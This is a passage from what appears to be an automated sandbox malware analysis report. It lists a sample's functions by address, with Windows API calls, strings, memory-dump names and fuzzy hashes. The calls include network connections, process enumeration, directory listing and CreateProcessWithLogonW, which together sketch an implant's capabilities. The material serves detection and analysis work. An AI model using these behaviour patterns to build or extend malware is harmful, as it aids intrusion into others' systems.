WSAIoctl.WS2_32(00000000,4004747F,00000000,00000000,?,000005F0,00000001,00000000,00000000), ref: 00DB2F6A
closesocket.WS2_32(00000000), ref: 00DB2FA9

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: CleanupIoctlSocketStartupclosesocket
String ID:
API String ID: 1100289767-0
Opcode ID: 25a1cade9d9a1ec90bc3a16f961ffc886d68abec4331356a4ef07da50ac2384b
Instruction ID: 5537fc31ffa5fbb0ac09be44264f8c8655e5644c8ff41f871c4d478a3134d972
Opcode Fuzzy Hash: 25a1cade9d9a1ec90bc3a16f961ffc886d68abec4331356a4ef07da50ac2384b
Instruction Fuzzy Hash: 37119472601218FBD7208A669C49EFF7F7DDF89760F148026F90AD6180D670884186B0

Function 00401700 Relevance: 4.5, APIs: 3, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 0040174D
ReadFile.KERNELBASE ref: 0040177D
CloseHandle.KERNEL32 ref: 0040178D

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: File$CloseCreateHandleRead
String ID:
API String ID: 1035965006-0
Opcode ID: de8e7562ff60837e5b68acacff60a59f894b3ed398b1beaf9885a2a007807793
Instruction ID: 13578ad0072e5758c11d0cf9d06b5e6b01679b076f79182928bb53a60008478f
Opcode Fuzzy Hash: de8e7562ff60837e5b68acacff60a59f894b3ed398b1beaf9885a2a007807793
Instruction Fuzzy Hash: 811157B58083059FC700AF29C54835FBBF4EF84364F00892EE895973A2D3B989498FD6

Function 00DB81BC Relevance: 4.5, APIs: 3, Instructions: 35COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00DB81C2

Part of subcall function 00DC87FF: __FF_MSGBANNER.LIBCMT ref: 00DC8822
Part of subcall function 00DC87FF: __NMSG_WRITE.LIBCMT ref: 00DC8829
Part of subcall function 00DC87FF: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5), ref: 00DC8876

_malloc.LIBCMT ref: 00DB81D2
_memset.LIBCMT ref: 00DB81EF

Part of subcall function 00DC8722: __lock.LIBCMT ref: 00DC8740
Part of subcall function 00DC8722: ___sbh_find_block.LIBCMT ref: 00DC874B
Part of subcall function 00DC8722: ___sbh_free_block.LIBCMT ref: 00DC875A
Part of subcall function 00DC8722: HeapFree.KERNEL32(00000000,00000000,00DE35A0,0000000C,00DCD788,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C), ref: 00DC878A
Part of subcall function 00DC8722: GetLastError.KERNEL32(?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5,00000000,00000000,?,00DCD842,0000000D), ref: 00DC879B

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: Heap_malloc$AllocateErrorFreeLast___sbh_find_block___sbh_free_block__lock_memset
String ID:
API String ID: 1561657895-0
Opcode ID: 21c09f07a7fc623b024758759923ff1919fe7979f59a699eda9de8700b3a409b
Instruction ID: de32f74f57f46cff3beaf29c09f2abf442923637fd7502bddcc99bb98b62617b
Opcode Fuzzy Hash: 21c09f07a7fc623b024758759923ff1919fe7979f59a699eda9de8700b3a409b
Instruction Fuzzy Hash: ACE06D3B601516B6CA22396AEC02FDE2E1ECF827F0F24402DF9095A181EE118901B6F9

Function 004017AC Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 26sleepCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 004017BB
Sleep.KERNELBASE ref: 004017C9

Part of subcall function 00401700: CreateFileA.KERNELBASE ref: 0040174D
Part of subcall function 00401700: ReadFile.KERNELBASE ref: 0040177D
Part of subcall function 00401700: CloseHandle.KERNEL32 ref: 0040178D

Strings

(0@, xrefs: 004017ED

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: File$CloseCreateHandleReadSleepmalloc
String ID: (0@
API String ID: 4248373497-1619376425
Opcode ID: 6845ea8dd48fab404a2061b438f8f23c871c7f7415dcaaf50ff1d80553ea92f3
Instruction ID: c18dacc817dc4ff119a69da04305d567d0d6ae5b32f5fd65705d0832059cd44e
Opcode Fuzzy Hash: 6845ea8dd48fab404a2061b438f8f23c871c7f7415dcaaf50ff1d80553ea92f3
Instruction Fuzzy Hash: 9AF0F8B4A053009BC700EF7ADA8551ABBE8BB08345F41483DA684E7391D678D9008B1A

Function 00DB273C Relevance: 3.1, APIs: 2, Instructions: 115networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

InternetOpenA.WININET(00DB1572,00000003,00000000,00000000,00000000), ref: 00DB27C2
InternetConnectA.WININET(?,?,00000000,00000000,00000003,00000000,00DEFFC4), ref: 00DB2809

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: Internet$ConnectOpen
String ID:
API String ID: 2790792615-0
Opcode ID: bc5d1b1292c3f0a894aa750e7b114b9efee42ba26fc7c7c60338216f23b59ba3
Instruction ID: 5e353c7e07c26f5a540faeb86b22f755710cfb2533c092586ffec43f39df2e5b
Opcode Fuzzy Hash: bc5d1b1292c3f0a894aa750e7b114b9efee42ba26fc7c7c60338216f23b59ba3
Instruction Fuzzy Hash: 9831C272590384FAEA313B61AC4AFFB3F29EB81B14F10502AF602DD1D1DE758A45C678

Function 00DB2E6E Relevance: 3.0, APIs: 2, Instructions: 50networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00DB2E8F
WSACleanup.WS2_32 ref: 00DB2E99

Part of subcall function 00DC8EDE: _doexit.LIBCMT ref: 00DC8EEA

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: CleanupStartup_doexit
String ID:
API String ID: 3413891862-0
Opcode ID: 5b9e8fc7d34bea40ff451a5d89123b516c91c3fbdfe955e177f3adb29d39a447
Instruction ID: ecfbd1b97adc84e6d1c8cb979d47dc273230d4655a03df8f9a9984fc56ff6b63
Opcode Fuzzy Hash: 5b9e8fc7d34bea40ff451a5d89123b516c91c3fbdfe955e177f3adb29d39a447
Instruction Fuzzy Hash: FD016171D41355D6D7186FB4BC467E47AA4FB06B10F04412BB105DA2D5DB708285CBB8

Function 00DB2E6E Relevance: 3.0, APIs: 2, Instructions: 50networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00DB2E8F
WSACleanup.WS2_32 ref: 00DB2E99

Part of subcall function 00DC8EDE: _doexit.LIBCMT ref: 00DC8EEA

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: CleanupStartup_doexit
String ID:
API String ID: 3413891862-0
Opcode ID: 72f3096b343d7d08960cfb8a19a7e486d81590be9de46aa9126aa7b10bb28443
Instruction ID: ecfbd1b97adc84e6d1c8cb979d47dc273230d4655a03df8f9a9984fc56ff6b63
Opcode Fuzzy Hash: 72f3096b343d7d08960cfb8a19a7e486d81590be9de46aa9126aa7b10bb28443
Instruction Fuzzy Hash: FD016171D41355D6D7186FB4BC467E47AA4FB06B10F04412BB105DA2D5DB708285CBB8

Function 00DC0CD9 Relevance: 1.8, APIs: 1, Instructions: 257COMMONLIBRARYCODE

Download Yara Rule

APIs

_calloc.LIBCMT ref: 00DC0D3B

Part of subcall function 00DD6990: __calloc_impl.LIBCMT ref: 00DD69A5

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: __calloc_impl_calloc
String ID:
API String ID: 2108883976-0
Opcode ID: 05b948c874dc6b62188192750fbe821c3d408f1b7344a58cdf1efc24f4b1b5ee
Instruction ID: 03b8fa163dcd1e1ce6e6bd9b29f3f4e6b10120fe73e4971ca5e0e286a6074a34
Opcode Fuzzy Hash: 05b948c874dc6b62188192750fbe821c3d408f1b7344a58cdf1efc24f4b1b5ee
Instruction Fuzzy Hash: 41A115B5900209EFDB219F94CC45FAEBBBAFF89300F208559F545AB261D7719A90DF20

Function 00D7A300 Relevance: 1.6, APIs: 1, Instructions: 132libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,00D79E14,AAAABBBB,?,?,?,?), ref: 00D7A36B

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 921837ef3eb67de63abac7cb5666c735ab802cdd6b7f1449a49ae73ad87c3da8
Instruction ID: 0f968b530b6514febcc110c2235b0197f593c47b9fef1f3f649f40f181776f33
Opcode Fuzzy Hash: 921837ef3eb67de63abac7cb5666c735ab802cdd6b7f1449a49ae73ad87c3da8
Instruction Fuzzy Hash: 0051B8B5A00119DFCF08CF98C890AAEB7B2FF88304F148159E9196B351D735AE51CFA5

Function 00DBA802 Relevance: 1.6, APIs: 1, Instructions: 70memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapDestroy.KERNEL32(?), ref: 00DBA874

Part of subcall function 00DBC67F: _memset.LIBCMT ref: 00DBC69D

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: DestroyHeap_memset
String ID:
API String ID: 3970643317-0
Opcode ID: f580c0153c6ea08a317772fc41a0e09d1e0d259b418286253bddedf0e48b1f1e
Instruction ID: f365775e7db2f8078117058d30f962a18f8f913eaebfe52c106a6c2185ad93c1
Opcode Fuzzy Hash: f580c0153c6ea08a317772fc41a0e09d1e0d259b418286253bddedf0e48b1f1e
Instruction Fuzzy Hash: 7011A33A910205DFDB24AB2CD881EFE77A9EF11324F588026E40396951EB35DD83D6F6

Function 00DC3EF7 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00DC3EFE

Part of subcall function 00DC87FF: __FF_MSGBANNER.LIBCMT ref: 00DC8822
Part of subcall function 00DC87FF: __NMSG_WRITE.LIBCMT ref: 00DC8829
Part of subcall function 00DC87FF: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5), ref: 00DC8876

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 770a5737fa1c2baebb51fc1048b2bd86ee1b0969124dc220f3e5ed95a16c1eaa
Instruction ID: 9a4a4a641a33d025046202f2acab0d5c5cc38841d28dc9181b7c81ddade9565d
Opcode Fuzzy Hash: 770a5737fa1c2baebb51fc1048b2bd86ee1b0969124dc220f3e5ed95a16c1eaa
Instruction Fuzzy Hash: 6DE09A726086025FDB688E2DF841A16B7F19B85720B64CE3EE09AC7695DA3494819A24

Function 00DCA68A Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00DCA3C6,00000001,?,?,?,00DCA53F,?,?,?,00DE36E0,0000000C,00DCA5FA), ref: 00DCA69F

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 2ffa34e97410b0011fdfa679f589b9e3d735e4620a10fc9987c1085e38182e29
Instruction ID: 8991fdc93df828f2f6bf1f6248ad17d98383d56d780575a894759860fefca79d
Opcode Fuzzy Hash: 2ffa34e97410b0011fdfa679f589b9e3d735e4620a10fc9987c1085e38182e29
Instruction Fuzzy Hash: B7D05E725903499EEB106FB4BC09B223BDC9784799F158437B90CCA250E774D641D528

Function 00D7A860 Relevance: 1.3, APIs: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00D79DA8,?,00D79DA8,AAAABBBB), ref: 00D7A94F

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 06db9e082881e3a7de2518e710500035fed678b226e83921418e753830c2cfca
Instruction ID: 4444ce1b49823004aa5ed429690095b583c18930cd23931c15681bb5875c1e63
Opcode Fuzzy Hash: 06db9e082881e3a7de2518e710500035fed678b226e83921418e753830c2cfca
Instruction Fuzzy Hash: 3031BD70A00109EFCB08CF99C894AAEB7B5FF88314F14C159E919AB394D770AE51CF95

Function 00DB54A0 Relevance: 1.3, APIs: 1, Instructions: 31sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(?,?,?,00DB16A0,?), ref: 00DB54FB

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 907562bb38f077f7c6f26acf487778ea9b24e02ba573ca1ab4b40f9f92c6591b
Instruction ID: 35b38a3e5317b4ede47395129afeb6e9c34c6901bed16381d3c930d6e99748ef
Opcode Fuzzy Hash: 907562bb38f077f7c6f26acf487778ea9b24e02ba573ca1ab4b40f9f92c6591b
Instruction Fuzzy Hash: F5F0543641070AEBDF146B55FC457A43BA5FF05355F18413AE406C9269DB32C494CA75

Function 00DB54A0 Relevance: 1.3, APIs: 1, Instructions: 31sleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

Sleep.KERNELBASE(?,00DEC1B4,?,00DB16A0,00DEC1B4), ref: 00DB54FB

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 9e31b146223353ee4fb2abb701a5df8a603abebe878e35761fae754d0049fb3e
Instruction ID: 35b38a3e5317b4ede47395129afeb6e9c34c6901bed16381d3c930d6e99748ef
Opcode Fuzzy Hash: 9e31b146223353ee4fb2abb701a5df8a603abebe878e35761fae754d0049fb3e
Instruction Fuzzy Hash: F5F0543641070AEBDF146B55FC457A43BA5FF05355F18413AE406C9269DB32C494CA75

Function 004029E0 Relevance: 1.3, APIs: 1, Instructions: 14sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00401805: GetTickCount.KERNEL32 ref: 0040180B
Part of subcall function 00401805: sprintf.MSVCRT ref: 00401875
Part of subcall function 00401805: CreateThread.KERNELBASE ref: 004018A9

Sleep.KERNELBASE(?,00401386,?,0000165A,00401386), ref: 00402A09

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: CountCreateSleepThreadTicksprintf
String ID:
API String ID: 2384577035-0
Opcode ID: edd1f4d74f08d7a86e4d3b4e7046a0930fe99e0aed8f677c13492f49e07a44d4
Instruction ID: afb1948537415933b36a4db080653cee2dd393a0534abb60b1e029c31af3872c
Opcode Fuzzy Hash: edd1f4d74f08d7a86e4d3b4e7046a0930fe99e0aed8f677c13492f49e07a44d4
Instruction Fuzzy Hash: 90D05EB1408704AAC6003FB5C90A71ABAA8AB05351F01063CF9C1251E1DF7950108B7B

Non-executed Functions

Function 00DB5225 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 172filetimeCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00DB5237

Part of subcall function 00DC87FF: __FF_MSGBANNER.LIBCMT ref: 00DC8822
Part of subcall function 00DC87FF: __NMSG_WRITE.LIBCMT ref: 00DC8829
Part of subcall function 00DC87FF: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5), ref: 00DC8876

_memset.LIBCMT ref: 00DB5243

Part of subcall function 00DB16CB: _malloc.LIBCMT ref: 00DB16D1

Part of subcall function 00DB171B: htonl.WS2_32(0000001F), ref: 00DB1721

_strncmp.LIBCMT ref: 00DB5292
GetCurrentDirectoryA.KERNEL32(00004000,00000000), ref: 00DB52A0

Part of subcall function 00DC8722: __lock.LIBCMT ref: 00DC8740
Part of subcall function 00DC8722: ___sbh_find_block.LIBCMT ref: 00DC874B
Part of subcall function 00DC8722: ___sbh_free_block.LIBCMT ref: 00DC875A
Part of subcall function 00DC8722: HeapFree.KERNEL32(00000000,00000000,00DE35A0,0000000C,00DCD788,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C), ref: 00DC878A
Part of subcall function 00DC8722: GetLastError.KERNEL32(?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5,00000000,00000000,?,00DCD842,0000000D), ref: 00DC879B

FindFirstFileA.KERNEL32(00000000,?), ref: 00DB52D1
GetLastError.KERNEL32 ref: 00DB52DE
FileTimeToSystemTime.KERNEL32(?,?), ref: 00DB532A
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00DB533A
FindNextFileA.KERNEL32(00000000,00000010), ref: 00DB53CD
FindClose.KERNEL32(00000000), ref: 00DB53DC

Part of subcall function 00DB1825: _vwprintf.LIBCMT ref: 00DB182F
Part of subcall function 00DB1825: _vswprintf_s.LIBCMT ref: 00DB1853

Strings

F%I64d%02d/%02d/%02d %02d:%02d:%02d%s, xrefs: 00DB53B7
D0%02d/%02d/%02d %02d:%02d:%02d%s, xrefs: 00DB5371
.\*, xrefs: 00DB528C
%s, xrefs: 00DB52BB

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: Time$FileFind$ErrorHeapLastSystem_malloc$AllocateCloseCurrentDirectoryFirstFreeLocalNextSpecific___sbh_find_block___sbh_free_block__lock_memset_strncmp_vswprintf_s_vwprintfhtonl
String ID: %s$.\*$D0%02d/%02d/%02d %02d:%02d:%02d%s$F%I64d%02d/%02d/%02d %02d:%02d:%02d%s
API String ID: 2804257087-1754256099
Opcode ID: 89c83abd30822cac4ed41a2fc1cefeba8620565b8f7f31f714c5e024469829cd
Instruction ID: fe9ed71b35b2c4b1b0e16ddbae8e82ec3d813c6d256df7658556778c6e803426
Opcode Fuzzy Hash: 89c83abd30822cac4ed41a2fc1cefeba8620565b8f7f31f714c5e024469829cd
Instruction Fuzzy Hash: 6C513EB6900229FACB10ABE5DC46EFFB7BCEF48754F440426F516E2181FA789A449770

Function 00DBA4E3 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 157processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DBA504

Part of subcall function 00DB16CB: _malloc.LIBCMT ref: 00DB16D1

GetCurrentProcess.KERNEL32 ref: 00DBA54F
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00DBA583
Process32First.KERNEL32(00000000,?), ref: 00DBA5A5

Part of subcall function 00DB171B: htonl.WS2_32(0000001F), ref: 00DB1721

Process32Next.KERNEL32(00000000,00000128), ref: 00DBA688

Part of subcall function 00DBA477: OpenProcessToken.ADVAPI32(?,00000008,?), ref: 00DBA484

ProcessIdToSessionId.KERNEL32(?,?,00000002,00000000), ref: 00DBA629

Strings

x64, xrefs: 00DBA560, 00DBA56E
x86, xrefs: 00DBA579, 00DBA640, 00DBA654
%s%d%d, xrefs: 00DBA5F6
%s%d%d%s%s%d, xrefs: 00DBA66B

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: Process$Process32$CreateCurrentFirstNextOpenSessionSnapshotTokenToolhelp32_malloc_memsethtonl
String ID: %s%d%d%s%s%d$%s%d%d$x64$x86
API String ID: 3674674043-1833344708
Opcode ID: d6a3fb1332c80a530f0cb4c6b72c72ab712afee1be651f790671b4078455f093
Instruction ID: 2f28fedbba0dec205bc08bfc1c48d6060be0ed4a922f4ff937750d6f302497ab
Opcode Fuzzy Hash: d6a3fb1332c80a530f0cb4c6b72c72ab712afee1be651f790671b4078455f093
Instruction Fuzzy Hash: D35163B6900219EADF21BBA5CC46FEF77BCEF04754F140066F50AE2152EA349A858B71

Function 00DBA70E Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 84fileCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00DBA71B

Part of subcall function 00DC87FF: __FF_MSGBANNER.LIBCMT ref: 00DC8822
Part of subcall function 00DC87FF: __NMSG_WRITE.LIBCMT ref: 00DC8829
Part of subcall function 00DC87FF: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5), ref: 00DC8876

__snprintf.LIBCMT ref: 00DBA72C
FindFirstFileA.KERNEL32(00000000,00DB50C9,?,00DBA7FD,00DB50C9,?,Function_0000504D), ref: 00DBA739

Part of subcall function 00DC8722: __lock.LIBCMT ref: 00DC8740
Part of subcall function 00DC8722: ___sbh_find_block.LIBCMT ref: 00DC874B
Part of subcall function 00DC8722: ___sbh_free_block.LIBCMT ref: 00DC875A
Part of subcall function 00DC8722: HeapFree.KERNEL32(00000000,00000000,00DE35A0,0000000C,00DCD788,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C), ref: 00DC878A
Part of subcall function 00DC8722: GetLastError.KERNEL32(?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5,00000000,00000000,?,00DCD842,0000000D), ref: 00DC879B

_malloc.LIBCMT ref: 00DBA778
__snprintf.LIBCMT ref: 00DBA78D

Part of subcall function 00DBA6D1: _malloc.LIBCMT ref: 00DBA6DC
Part of subcall function 00DBA6D1: __snprintf.LIBCMT ref: 00DBA6F0

FindNextFileA.KERNEL32(000000FF,00DB50C9,?,?,?,?,?,?,?), ref: 00DBA7BA
FindClose.KERNEL32(000000FF,?,?,?,?,?,?,?), ref: 00DBA7C7

Strings

%s\*, xrefs: 00DBA725

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: Find__snprintf_malloc$FileHeap$AllocateCloseErrorFirstFreeLastNext___sbh_find_block___sbh_free_block__lock
String ID: %s\*
API String ID: 1254174322-766152087
Opcode ID: 13c30badbf75fe15fb98529e44810901c4bc1067a590880ef9cd38e24dc63871
Instruction ID: fb09acfb4f580dd76f7bea67d60a680dc41548e64f19eaf298f440e4e6ab5ef9
Opcode Fuzzy Hash: 13c30badbf75fe15fb98529e44810901c4bc1067a590880ef9cd38e24dc63871
Instruction Fuzzy Hash: C021AF72500209FBDF116F258C45EAB3B69EF417A0F188029F805A7291EF718E51ABB1

Function 00DB4763 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 98processCOMMON

Download Yara Rule

APIs

CreateProcessWithLogonW.ADVAPI32(00000002,00000000,?,C0330CC4,00000000,00DB4994,C3E8296A,83FFFFDB,74DEE010,00DB4ACB), ref: 00DB4795
GetLastError.KERNEL32 ref: 00DB47A7
_memset.LIBCMT ref: 00DB47F0

Strings

sysnative, xrefs: 00DB47D3
system32, xrefs: 00DB47F5

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: CreateErrorLastLogonProcessWith_memset
String ID: sysnative$system32
API String ID: 2584212486-2461298002
Opcode ID: 34e5995cc04eafa7ce9271aedd5918d8475104e375b68d3cfa7db0205f1da5c2
Instruction ID: 3d888f660f52d5fcd4751560cb727e7f95d87dadc7a8119517935ea4b8eb6478
Opcode Fuzzy Hash: 34e5995cc04eafa7ce9271aedd5918d8475104e375b68d3cfa7db0205f1da5c2
Instruction Fuzzy Hash: 2F312D7A900251FFCB129F64AC09FE63BA9EF45310F184055F996DB252DB71D904C7B0

Function 00DB4763 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 98processCOMMON

Download Yara Rule

APIs

CreateProcessWithLogonW.ADVAPI32(00000002,00000000,?,C0330CC4,00000000,00DB4994,C3E8296A,83FFFFDB,00DDB190,00DB4ACB), ref: 00DB4795
GetLastError.KERNEL32 ref: 00DB47A7
_memset.LIBCMT ref: 00DB47F0

Strings

sysnative, xrefs: 00DB47D3
system32, xrefs: 00DB47F5

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

